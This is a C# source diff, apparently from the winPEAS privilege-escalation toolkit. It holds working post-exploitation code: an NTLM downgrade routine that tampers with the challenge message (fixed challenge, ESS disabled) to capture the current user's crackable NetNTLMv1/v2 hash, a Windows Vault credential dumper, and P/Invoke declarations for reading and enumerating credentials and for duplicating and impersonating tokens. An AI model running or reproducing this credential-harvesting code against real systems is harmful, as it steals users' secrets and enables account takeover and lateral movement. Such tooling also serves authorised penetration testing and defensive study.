[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_INTEGER
|
||||
{
|
||||
public IntPtr LowPart;
|
||||
public IntPtr HighPart;
|
||||
};
|
||||
|
||||
private const int MAX_TOKEN_SIZE = 12288;
|
||||
private const uint SEC_E_OK = 0;
|
||||
private const uint SEC_E_NO_CREDENTIALS = 0x8009030e;
|
||||
private const uint SEC_I_CONTINUE_NEEDED = 0x90312;
|
||||
|
||||
internal static IEnumerable<NtlmHashInfo> GetNtlmCredentials()
|
||||
{
|
||||
var challenge = "1122334455667788";
|
||||
|
||||
var cred = GetNtlmCredentialsInternal(challenge, true);
|
||||
|
||||
if (cred != null)
|
||||
{
|
||||
yield return cred;
|
||||
}
|
||||
}
|
||||
|
||||
private static NtlmHashInfo GetNtlmCredentialsInternal(string challenge, bool disableESS)
|
||||
{
|
||||
var clientToken = new SecBufferDesc(MAX_TOKEN_SIZE);
|
||||
var newClientToken = new SecBufferDesc(MAX_TOKEN_SIZE);
|
||||
var serverToken = new SecBufferDesc(MAX_TOKEN_SIZE);
|
||||
|
||||
SECURITY_HANDLE cred;
|
||||
cred.LowPart = cred.HighPart = IntPtr.Zero;
|
||||
|
||||
SECURITY_HANDLE clientContext;
|
||||
clientContext.LowPart = clientContext.HighPart = IntPtr.Zero;
|
||||
|
||||
SECURITY_HANDLE newClientContext;
|
||||
newClientContext.LowPart = newClientContext.HighPart = IntPtr.Zero;
|
||||
|
||||
SECURITY_HANDLE serverContext;
|
||||
serverContext.LowPart = serverContext.HighPart = IntPtr.Zero;
|
||||
|
||||
SECURITY_INTEGER clientLifeTime;
|
||||
clientLifeTime.LowPart = clientLifeTime.HighPart = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
// Acquire credentials handle for current user
|
||||
var result = Secur32.AcquireCredentialsHandle(
|
||||
IntPtr.Zero,
|
||||
"NTLM",
|
||||
3,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
IntPtr.Zero,
|
||||
ref cred,
|
||||
ref clientLifeTime
|
||||
);
|
||||
if (result != SEC_E_OK)
|
||||
throw new Exception($"AcquireCredentialsHandle failed. Error: 0x{result:x8}");
|
||||
|
||||
// Get a type-1 message from NTLM SSP
|
||||
result = Secur32.InitializeSecurityContext(
|
||||
ref cred,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero,
|
||||
0x00000800, // SECPKG_FLAG_NEGOTIABLE
|
||||
0,
|
||||
0x10, // SECURITY_NATIVE_DREP
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
out clientContext,
|
||||
out clientToken,
|
||||
out _,
|
||||
out clientLifeTime
|
||||
);
|
||||
if (result != SEC_E_OK && result != SEC_I_CONTINUE_NEEDED)
|
||||
throw new Exception($"InitializeSecurityContext failed. Error: 0x{result:x8}");
|
||||
|
||||
// Get a type-2 message from NTLM SSP (Server)
|
||||
result = Secur32.AcceptSecurityContext(
|
||||
ref cred,
|
||||
IntPtr.Zero,
|
||||
ref clientToken,
|
||||
0x00000800, // ASC_REQ_CONNECTION
|
||||
0x10, // SECURITY_NATIVE_DREP
|
||||
out serverContext,
|
||||
out serverToken,
|
||||
out _,
|
||||
out clientLifeTime
|
||||
);
|
||||
if (result != SEC_E_OK && result != SEC_I_CONTINUE_NEEDED)
|
||||
throw new Exception($"AcceptSecurityContext failed. Error: 0x{result:x8}");
|
||||
|
||||
// Tamper with the CHALLENGE message
|
||||
var serverMessage = serverToken.ToArray();
|
||||
var challengeBytes = StringToByteArray(challenge);
|
||||
if (disableESS)
|
||||
{
|
||||
serverMessage[22] = (byte)(serverMessage[22] & 0xF7);
|
||||
}
|
||||
|
||||
//Replace Challenge
|
||||
Array.Copy(challengeBytes, 0, serverMessage, 24, 8);
|
||||
//Reset reserved bytes to avoid local authentication
|
||||
Array.Copy(new byte[16], 0, serverMessage, 32, 16);
|
||||
|
||||
|
||||
var newServerToken = new SecBufferDesc(serverMessage);
|
||||
result = Secur32.InitializeSecurityContext(
|
||||
ref cred,
|
||||
ref clientContext,
|
||||
IntPtr.Zero,
|
||||
0x00000800, // SECPKG_FLAG_NEGOTIABLE
|
||||
0,
|
||||
0x10, // SECURITY_NATIVE_DREP
|
||||
ref newServerToken,
|
||||
0,
|
||||
out newClientContext,
|
||||
out newClientToken,
|
||||
out _,
|
||||
out clientLifeTime
|
||||
);
|
||||
|
||||
var clientTokenBytes = newClientToken.ToArray();
|
||||
newServerToken.Dispose();
|
||||
|
||||
if (result == SEC_E_OK)
|
||||
{
|
||||
return ParseNTResponse(clientTokenBytes, challenge);
|
||||
}
|
||||
else if (result == SEC_E_NO_CREDENTIALS)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
else if (disableESS)
|
||||
{
|
||||
return GetNtlmCredentialsInternal(challenge, false);
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception($"InitializeSecurityContext (client) failed. Error: 0x{result:x8}");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw ex;
|
||||
}
|
||||
finally
|
||||
{
|
||||
clientToken.Dispose();
|
||||
newClientToken.Dispose();
|
||||
serverToken.Dispose();
|
||||
|
||||
if (cred.LowPart != IntPtr.Zero && cred.HighPart != IntPtr.Zero)
|
||||
Secur32.FreeCredentialsHandle(ref cred);
|
||||
|
||||
if (clientContext.LowPart != IntPtr.Zero && clientContext.HighPart != IntPtr.Zero)
|
||||
Secur32.DeleteSecurityContext(ref clientContext);
|
||||
|
||||
if (newClientContext.LowPart != IntPtr.Zero && newClientContext.HighPart != IntPtr.Zero)
|
||||
Secur32.DeleteSecurityContext(ref newClientContext);
|
||||
|
||||
if (serverContext.LowPart != IntPtr.Zero && serverContext.HighPart != IntPtr.Zero)
|
||||
Secur32.DeleteSecurityContext(ref serverContext);
|
||||
}
|
||||
}
|
||||
|
||||
private static NtlmHashInfo ParseNTResponse(byte[] message, string challenge)
|
||||
{
|
||||
var lm_resp_len = BitConverter.ToUInt16(message, 12);
|
||||
var lm_resp_off = BitConverter.ToUInt32(message, 16);
|
||||
var nt_resp_len = BitConverter.ToUInt16(message, 20);
|
||||
var nt_resp_off = BitConverter.ToUInt32(message, 24);
|
||||
var domain_len = BitConverter.ToUInt16(message, 28);
|
||||
var domain_off = BitConverter.ToUInt32(message, 32);
|
||||
var user_len = BitConverter.ToUInt16(message, 36);
|
||||
var user_off = BitConverter.ToUInt32(message, 40);
|
||||
var lm_resp = new byte[lm_resp_len];
|
||||
var nt_resp = new byte[nt_resp_len];
|
||||
var domain = new byte[domain_len];
|
||||
var user = new byte[user_len];
|
||||
Array.Copy(message, lm_resp_off, lm_resp, 0, lm_resp_len);
|
||||
Array.Copy(message, nt_resp_off, nt_resp, 0, nt_resp_len);
|
||||
Array.Copy(message, domain_off, domain, 0, domain_len);
|
||||
Array.Copy(message, user_off, user, 0, user_len);
|
||||
|
||||
|
||||
if (nt_resp_len == 24)
|
||||
{
|
||||
return new NtlmHashInfo(
|
||||
"NetNTLMv1",
|
||||
FormatNetNtlmV1Hash(challenge, user, domain, lm_resp, nt_resp)
|
||||
);
|
||||
}
|
||||
else if (nt_resp_len > 24)
|
||||
{
|
||||
return new NtlmHashInfo(
|
||||
"NetNTLMv2",
|
||||
FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp,16, nt_resp.Length - 16))
|
||||
);
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception($"Couldn't parse nt_resp. Len: {nt_resp_len} Message bytes: {ByteArrayToString(message)}");
|
||||
}
|
||||
}
|
||||
|
||||
public static T[] SubArray<T>(T[] data, int index, int length)
|
||||
{
|
||||
var result = new T[length];
|
||||
Array.Copy(data, index, result, 0, length);
|
||||
return result;
|
||||
}
|
||||
|
||||
private static string FormatNetNtlmV1Hash(string challenge, byte[] user, byte[] domain, byte[] lm_resp, byte[] nt_resp)
|
||||
{
|
||||
return
|
||||
$"{Encoding.Unicode.GetString(user)}::{Encoding.Unicode.GetString(domain)}:{ByteArrayToString(lm_resp)}:{ByteArrayToString(nt_resp)}:{challenge}";
|
||||
}
|
||||
|
||||
private static string FormatNetNtlmV2Hash(string challenge, byte[] user, byte[] domain, byte[] lm_resp, byte[] nt_resp)
|
||||
{
|
||||
return
|
||||
$"{Encoding.Unicode.GetString(user)}::{Encoding.Unicode.GetString(domain)}:{challenge}:{ByteArrayToString(lm_resp)}:{ByteArrayToString(nt_resp)}";
|
||||
}
|
||||
|
||||
// source: https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa
|
||||
private static byte[] StringToByteArray(string hexString)
|
||||
{
|
||||
var numChars = hexString.Length;
|
||||
var bytes = new byte[numChars / 2];
|
||||
|
||||
for (var i = 0; i < numChars; i += 2)
|
||||
{
|
||||
bytes[i / 2] = Convert.ToByte(hexString.Substring(i, 2), 16);
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
private static string ByteArrayToString(byte[] ba)
|
||||
{
|
||||
var hex = new StringBuilder(ba.Length * 2);
|
||||
|
||||
foreach (var b in ba)
|
||||
{
|
||||
hex.AppendFormat("{0:x2}", b);
|
||||
}
|
||||
|
||||
return hex.ToString();
|
||||
}
|
||||
}
|
||||
}
|
@ -1,31 +1,14 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.KnownFileCreds.Vault.Structs;
|
||||
using VaultCliNative = winPEAS.Native.Vaultcli;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Vault
|
||||
{
|
||||
public static class VaultCli
|
||||
{
|
||||
// pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public extern static Int32 VaultOpenVault(ref Guid vaultGuid, UInt32 offset, ref IntPtr vaultHandle);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public extern static Int32 VaultEnumerateVaults(Int32 offset, ref Int32 vaultCount, ref IntPtr vaultGuid);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public extern static Int32 VaultEnumerateItems(IntPtr vaultHandle, Int32 chunkSize, ref Int32 vaultItemCount, ref IntPtr vaultItem);
|
||||
|
||||
[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
|
||||
public extern static Int32 VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, Int32 arg6, ref IntPtr passwordVaultPtr);
|
||||
|
||||
[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
|
||||
public extern static Int32 VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, Int32 arg5, ref IntPtr passwordVaultPtr);
|
||||
|
||||
public static List<Dictionary<string, string>> DumpVault()
|
||||
{
|
||||
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||
@ -50,7 +33,7 @@ namespace winPEAS.KnownFileCreds.Vault
|
||||
|
||||
Int32 vaultCount = 0;
|
||||
IntPtr vaultGuidPtr = IntPtr.Zero;
|
||||
var result = VaultCli.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr);
|
||||
var result = VaultCliNative.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr);
|
||||
|
||||
//var result = CallVaultEnumerateVaults(VaultEnum, 0, ref vaultCount, ref vaultGuidPtr);
|
||||
|
||||
@ -90,7 +73,7 @@ namespace winPEAS.KnownFileCreds.Vault
|
||||
{
|
||||
vaultType = vaultGuid.ToString();
|
||||
}
|
||||
result = VaultCli.VaultOpenVault(ref vaultGuid, (UInt32)0, ref vaultHandle);
|
||||
result = VaultCliNative.VaultOpenVault(ref vaultGuid, (UInt32)0, ref vaultHandle);
|
||||
if (result != 0)
|
||||
{
|
||||
Console.WriteLine("Unable to open the following vault: " + vaultType + ". Error: 0x" + result.ToString());
|
||||
@ -101,7 +84,7 @@ namespace winPEAS.KnownFileCreds.Vault
|
||||
// Fetch all items within Vault
|
||||
int vaultItemCount = 0;
|
||||
IntPtr vaultItemPtr = IntPtr.Zero;
|
||||
result = VaultCli.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr);
|
||||
result = VaultCliNative.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr);
|
||||
if (result != 0)
|
||||
{
|
||||
Console.WriteLine("Unable to enumerate vault items from the following vault: " + vaultType + ". Error 0x" + result.ToString());
|
||||
@ -145,11 +128,11 @@ namespace winPEAS.KnownFileCreds.Vault
|
||||
// Newer versions have package sid
|
||||
FieldInfo pPackageSidInfo = currentItem.GetType().GetField("pPackageSid");
|
||||
pPackageSid = (IntPtr)pPackageSidInfo.GetValue(currentItem);
|
||||
result = VaultCli.VaultGetItem_WIN8(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem);
|
||||
result = VaultCliNative.VaultGetItem_WIN8(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem);
|
||||
}
|
||||
else
|
||||
{
|
||||
result = VaultCli.VaultGetItem_WIN7(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem);
|
||||
result = VaultCliNative.VaultGetItem_WIN7(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem);
|
||||
}
|
||||
|
||||
if (result != 0)
|
||||
|
213
winPEAS/winPEASexe/winPEAS/Native/Advapi32.cs
Normal file
213
winPEAS/winPEASexe/winPEAS/Native/Advapi32.cs
Normal file
@ -0,0 +1,213 @@
|
||||
using System;
|
||||
using System.Runtime.ConstrainedExecution;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers.CredentialManager;
|
||||
using winPEAS.Native.Classes;
|
||||
using winPEAS.Native.Enums;
|
||||
using winPEAS.Native.Structs;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
internal class Advapi32
|
||||
{
|
||||
/// <summary>
|
||||
/// The CredRead function reads a credential from the user's credential set.
|
||||
/// The credential set used is the one associated with the logon session of the current token.
|
||||
/// The token must not have the user's SID disabled.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// If the value of the Type member of the CREDENTIAL structure specified by the Credential parameter is
|
||||
/// CRED_TYPE_DOMAIN_EXTENDED, a namespace must be specified in the target name. This function can return only one
|
||||
/// credential of the specified type.
|
||||
/// </remarks>
|
||||
/// <param name="target">Pointer to a null-terminated string that contains the name of the credential to read.</param>
|
||||
/// <param name="type">Type of the credential to read. Type must be one of the CRED_TYPE_* defined types.</param>
|
||||
/// <param name="reservedFlag">Currently reserved and must be zero.</param>
|
||||
/// <param name="credentialPtr">
|
||||
/// Pointer to a single allocated block buffer to return the credential.
|
||||
/// Any pointers contained within the buffer are pointers to locations within this single allocated block.
|
||||
/// The single returned buffer must be freed by calling CredFree.
|
||||
/// </param>
|
||||
/// <returns>The function returns TRUE on success and FALSE on failure.</returns>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredReadW", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern bool CredRead(string target, CredentialType type, int reservedFlag, out IntPtr credentialPtr);
|
||||
|
||||
/// <summary>
|
||||
/// The CredWrite function creates a new credential or modifies an existing credential in the user's credential set.
|
||||
/// The new credential is associated with the logon session of the current token.
|
||||
/// The token must not have the user's security identifier (SID) disabled.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This function creates a credential if a credential with the specified TargetName and Type does not exist. If a
|
||||
/// credential with the specified TargetName and Type exists, the new specified credential replaces the existing one.
|
||||
/// When this function writes a CRED_TYPE_CERTIFICATE credential, the Credential->CredentialBlob member specifies the
|
||||
/// PIN protecting the private key of the certificate specified by the Credential->UserName member. The credential
|
||||
/// manager does not maintain the PIN. Rather, the PIN is passed to the cryptographic service provider (CSP) indicated
|
||||
/// on the certificate for later use by the CSP and the authentication packages. The CSP defines the lifetime of the
|
||||
/// PIN. Most CSPs flush the PIN when the smart card removal from the smart card reader.
|
||||
/// If the value of the Type member of the CREDENTIAL structure specified by the Credential parameter is
|
||||
/// CRED_TYPE_DOMAIN_EXTENDED, a namespace must be specified in the target name. This function does not support writing
|
||||
/// to target names that contain wildcards.
|
||||
/// </remarks>
|
||||
/// <param name="userCredential">A pointer to the CREDENTIAL structure to be written.</param>
|
||||
/// <param name="flags">Flags that control the function's operation. The following flag is defined.</param>
|
||||
/// <returns>If the function succeeds, the function returns TRUE, if the function fails, it returns FALSE. </returns>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredWriteW", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern bool CredWrite([In] ref NativeMethods.CREDENTIAL userCredential, [In] UInt32 flags);
|
||||
|
||||
/// <summary>
|
||||
/// The CredFree function frees a buffer returned by any of the credentials management functions.
|
||||
/// </summary>
|
||||
/// <param name="cred">Pointer to the buffer to be freed.</param>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredFree", SetLastError = true)]
|
||||
internal static extern void CredFree([In] IntPtr cred);
|
||||
|
||||
/// <summary>
|
||||
/// The CredDelete function deletes a credential from the user's credential set.
|
||||
/// The credential set used is the one associated with the logon session of the current token.
|
||||
/// The token must not have the user's SID disabled.
|
||||
/// </summary>
|
||||
/// <param name="target">Pointer to a null-terminated string that contains the name of the credential to delete.</param>
|
||||
/// <param name="type">
|
||||
/// Type of the credential to delete. Must be one of the CRED_TYPE_* defined types.
|
||||
/// For a list of the defined types, see the Type member of the CREDENTIAL structure.
|
||||
/// If the value of this parameter is CRED_TYPE_DOMAIN_EXTENDED,
|
||||
/// this function can delete a credential that specifies a user name when there are multiple credentials for the same
|
||||
/// target. The value of the TargetName parameter must specify the user name as Target|UserName.
|
||||
/// </param>
|
||||
/// <param name="flags">Reserved and must be zero.</param>
|
||||
/// <returns>The function returns TRUE on success and FALSE on failure.</returns>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredDeleteW", CharSet = CharSet.Unicode)]
|
||||
internal static extern bool CredDelete(StringBuilder target, CredentialType type, int flags);
|
||||
|
||||
/// <summary>
|
||||
/// Enumerate credentials in the credential store
|
||||
/// signature: BOOL CredEnumerate (
|
||||
/// _In_ LPCTSTR Filter,
|
||||
/// _In_ DWORD Flags,
|
||||
/// _Out_ DWORD *Count,
|
||||
/// _Out_ PCREDENTIAL **Credentials
|
||||
///);
|
||||
/// <param name="filter">[in]
|
||||
/// Pointer to a null-terminated string that contains the filter for the returned credentials.Only credentials with a TargetName matching the filter will be returned.The filter specifies a name prefix followed by an asterisk.For instance, the filter "FRED*" will return all credentials with a TargetName beginning with the string "FRED".
|
||||
/// If NULL is specified, all credentials will be returned.</param>
|
||||
/// <param name="flag">[in]
|
||||
/// The value of this parameter can be zero or more of the following values combined with a bitwise-OR operation.
|
||||
/// Value Meaning
|
||||
/// CRED_ENUMERATE_ALL_CREDENTIALS 0x1
|
||||
/// This function enumerates all of the credentials in the user's credential set. The target name of each credential is returned in the "namespace:attribute=target" format. If this flag is set and the Filter parameter is not NULL, the function fails and returns ERROR_INVALID_FLAGS.
|
||||
/// Windows Server 2003 and Windows XP: This flag is not supported.
|
||||
///</param>
|
||||
/// <param name="count">[out] Count of the credentials returned in the Credentials array.</param>
|
||||
/// <param name="pCredentials"> [out]
|
||||
/// Pointer to an array of pointers to credentials.The returned credential is a single allocated block. Any pointers contained within the buffer are pointers to locations within this single allocated block.The single returned buffer must be freed by calling CredFree.
|
||||
/// Return value
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// The function returns TRUE on success and FALSE on failure. The GetLastError function can be called to get a more specific status code.The following status codes can be returned.
|
||||
/// Return code/value Description
|
||||
/// ERROR_NOT_FOUND
|
||||
/// 1168 (0x490)
|
||||
/// No credential exists matching the specified Filter.
|
||||
/// ERROR_NO_SUCH_LOGON_SESSION
|
||||
/// 1312 (0x520)
|
||||
/// The logon session does not exist or there is no credential set associated with this logon session. Network logon sessions do not have an associated credential set.
|
||||
/// ERROR_INVALID_FLAGS
|
||||
/// 1004 (0x3EC)
|
||||
/// A flag that is not valid was specified for the Flags parameter, or CRED_ENUMERATE_ALL_CREDENTIALS is specified for the Flags parameter and the Filter parameter is not NULL.
|
||||
/// </returns>
|
||||
/// </summary>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredEnumerate", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
internal static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
internal static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
//////////////////////////////////////////
|
||||
/////// Find Modifiable Services ////////
|
||||
//////////////////////////////////////////
|
||||
|
||||
/// Find services that you can modify using PS os sc for example
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
internal static extern bool QueryServiceObjectSecurity(
|
||||
IntPtr serviceHandle,
|
||||
SecurityInfos secInfo,
|
||||
byte[] lpSecDesrBuf,
|
||||
uint bufSize,
|
||||
out uint bufSizeNeeded);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint = "GetNamedSecurityInfoW", CharSet = CharSet.Unicode)]
|
||||
internal static extern int GetNamedSecurityInfo(
|
||||
string objectName,
|
||||
SE_OBJECT_TYPE objectType,
|
||||
SecurityInfos securityInfo,
|
||||
out IntPtr sidOwner,
|
||||
out IntPtr sidGroup,
|
||||
out IntPtr dacl,
|
||||
out IntPtr sacl,
|
||||
out IntPtr securityDescriptor);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
internal static extern bool ConvertSecurityDescriptorToStringSecurityDescriptor(
|
||||
IntPtr SecurityDescriptor,
|
||||
uint StringSDRevision,
|
||||
SecurityInfos SecurityInformation,
|
||||
out IntPtr StringSecurityDescriptor,
|
||||
out int StringSecurityDescriptorSize);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
internal static extern bool GetTokenInformation(
|
||||
IntPtr TokenHandle,
|
||||
TOKEN_INFORMATION_CLASS TokenInformationClass,
|
||||
IntPtr TokenInformation,
|
||||
int TokenInformationLength,
|
||||
out int ReturnLength);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool LookupPrivilegeName(
|
||||
string lpSystemName,
|
||||
IntPtr lpLuid,
|
||||
StringBuilder lpName,
|
||||
ref int cchName);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
internal static extern bool
|
||||
DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
internal static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
internal static extern bool RevertToSelf();
|
||||
|
||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail), DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool DuplicateTokenEx([In] SafeTokenHandle ExistingTokenHandle, [In] AccessTypes DesiredAccess, [In] IntPtr TokenAttributes, [In] SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, [In] TokenType TokenType, [In, Out] ref SafeTokenHandle DuplicateTokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool GetTokenInformation(SafeTokenHandle hToken, TOKEN_INFORMATION_CLASS tokenInfoClass, IntPtr pTokenInfo, Int32 tokenInfoLength, out Int32 returnLength);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
internal static extern int LogonUser(string lpszUserName, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool LookupPrivilegeValue(string systemName, string name, out LUID luid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool OpenProcessToken(IntPtr ProcessHandle, AccessTypes DesiredAccess, out SafeTokenHandle TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool OpenThreadToken(IntPtr ThreadHandle, AccessTypes DesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool OpenAsSelf, out SafeTokenHandle TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool SetThreadToken(IntPtr ThreadHandle, SafeTokenHandle TokenHandle);
|
||||
}
|
||||
}
|
121
winPEAS/winPEASexe/winPEAS/Native/Classes/SafeTokenHandle.cs
Normal file
121
winPEAS/winPEASexe/winPEAS/Native/Classes/SafeTokenHandle.cs
Normal file
@ -0,0 +1,121 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native.Enums;
|
||||
using winPEAS.TaskScheduler.TaskEditor.Native;
|
||||
|
||||
namespace winPEAS.Native.Classes
|
||||
{
|
||||
public partial class SafeTokenHandle : Microsoft.Win32.SafeHandles.SafeHandleZeroOrMinusOneIsInvalid
|
||||
{
|
||||
private const Int32 ERROR_NO_TOKEN = 0x000003F0;
|
||||
private const Int32 ERROR_INSUFFICIENT_BUFFER = 122;
|
||||
private static SafeTokenHandle currentProcessToken = null;
|
||||
|
||||
private SafeTokenHandle() : base(true) { }
|
||||
|
||||
internal SafeTokenHandle(IntPtr handle, bool own = true) : base(own)
|
||||
{
|
||||
SetHandle(handle);
|
||||
}
|
||||
|
||||
protected override bool ReleaseHandle() => Kernel32.CloseHandle(handle);
|
||||
|
||||
public T GetInfo<T>(TOKEN_INFORMATION_CLASS type)
|
||||
{
|
||||
int cbSize = Marshal.SizeOf(typeof(T));
|
||||
IntPtr pType = Marshal.AllocHGlobal(cbSize);
|
||||
|
||||
try
|
||||
{
|
||||
// Retrieve token information.
|
||||
if (!Advapi32.GetTokenInformation(this, type, pType, cbSize, out cbSize))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
|
||||
// Marshal from native to .NET.
|
||||
switch (type)
|
||||
{
|
||||
case TOKEN_INFORMATION_CLASS.TokenType:
|
||||
case TOKEN_INFORMATION_CLASS.TokenImpersonationLevel:
|
||||
case TOKEN_INFORMATION_CLASS.TokenSessionId:
|
||||
case TOKEN_INFORMATION_CLASS.TokenSandBoxInert:
|
||||
case TOKEN_INFORMATION_CLASS.TokenOrigin:
|
||||
case TOKEN_INFORMATION_CLASS.TokenElevationType:
|
||||
case TOKEN_INFORMATION_CLASS.TokenHasRestrictions:
|
||||
case TOKEN_INFORMATION_CLASS.TokenUIAccess:
|
||||
case TOKEN_INFORMATION_CLASS.TokenVirtualizationAllowed:
|
||||
case TOKEN_INFORMATION_CLASS.TokenVirtualizationEnabled:
|
||||
return (T)Convert.ChangeType(Marshal.ReadInt32(pType), typeof(T));
|
||||
|
||||
case TOKEN_INFORMATION_CLASS.TokenLinkedToken:
|
||||
return (T)Convert.ChangeType(Marshal.ReadIntPtr(pType), typeof(T));
|
||||
|
||||
case TOKEN_INFORMATION_CLASS.TokenUser:
|
||||
case TOKEN_INFORMATION_CLASS.TokenGroups:
|
||||
case TOKEN_INFORMATION_CLASS.TokenPrivileges:
|
||||
case TOKEN_INFORMATION_CLASS.TokenOwner:
|
||||
case TOKEN_INFORMATION_CLASS.TokenPrimaryGroup:
|
||||
case TOKEN_INFORMATION_CLASS.TokenDefaultDacl:
|
||||
case TOKEN_INFORMATION_CLASS.TokenSource:
|
||||
case TOKEN_INFORMATION_CLASS.TokenStatistics:
|
||||
case TOKEN_INFORMATION_CLASS.TokenRestrictedSids:
|
||||
case TOKEN_INFORMATION_CLASS.TokenGroupsAndPrivileges:
|
||||
case TOKEN_INFORMATION_CLASS.TokenElevation:
|
||||
case TOKEN_INFORMATION_CLASS.TokenAccessInformation:
|
||||
case TOKEN_INFORMATION_CLASS.TokenIntegrityLevel:
|
||||
case TOKEN_INFORMATION_CLASS.TokenMandatoryPolicy:
|
||||
case TOKEN_INFORMATION_CLASS.TokenLogonSid:
|
||||
return (T)Marshal.PtrToStructure(pType, typeof(T));
|
||||
|
||||
case TOKEN_INFORMATION_CLASS.TokenSessionReference:
|
||||
case TOKEN_INFORMATION_CLASS.TokenAuditPolicy:
|
||||
default:
|
||||
return default(T);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(pType);
|
||||
}
|
||||
}
|
||||
|
||||
public static SafeTokenHandle FromCurrentProcess(AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
|
||||
{
|
||||
lock (currentProcessToken)
|
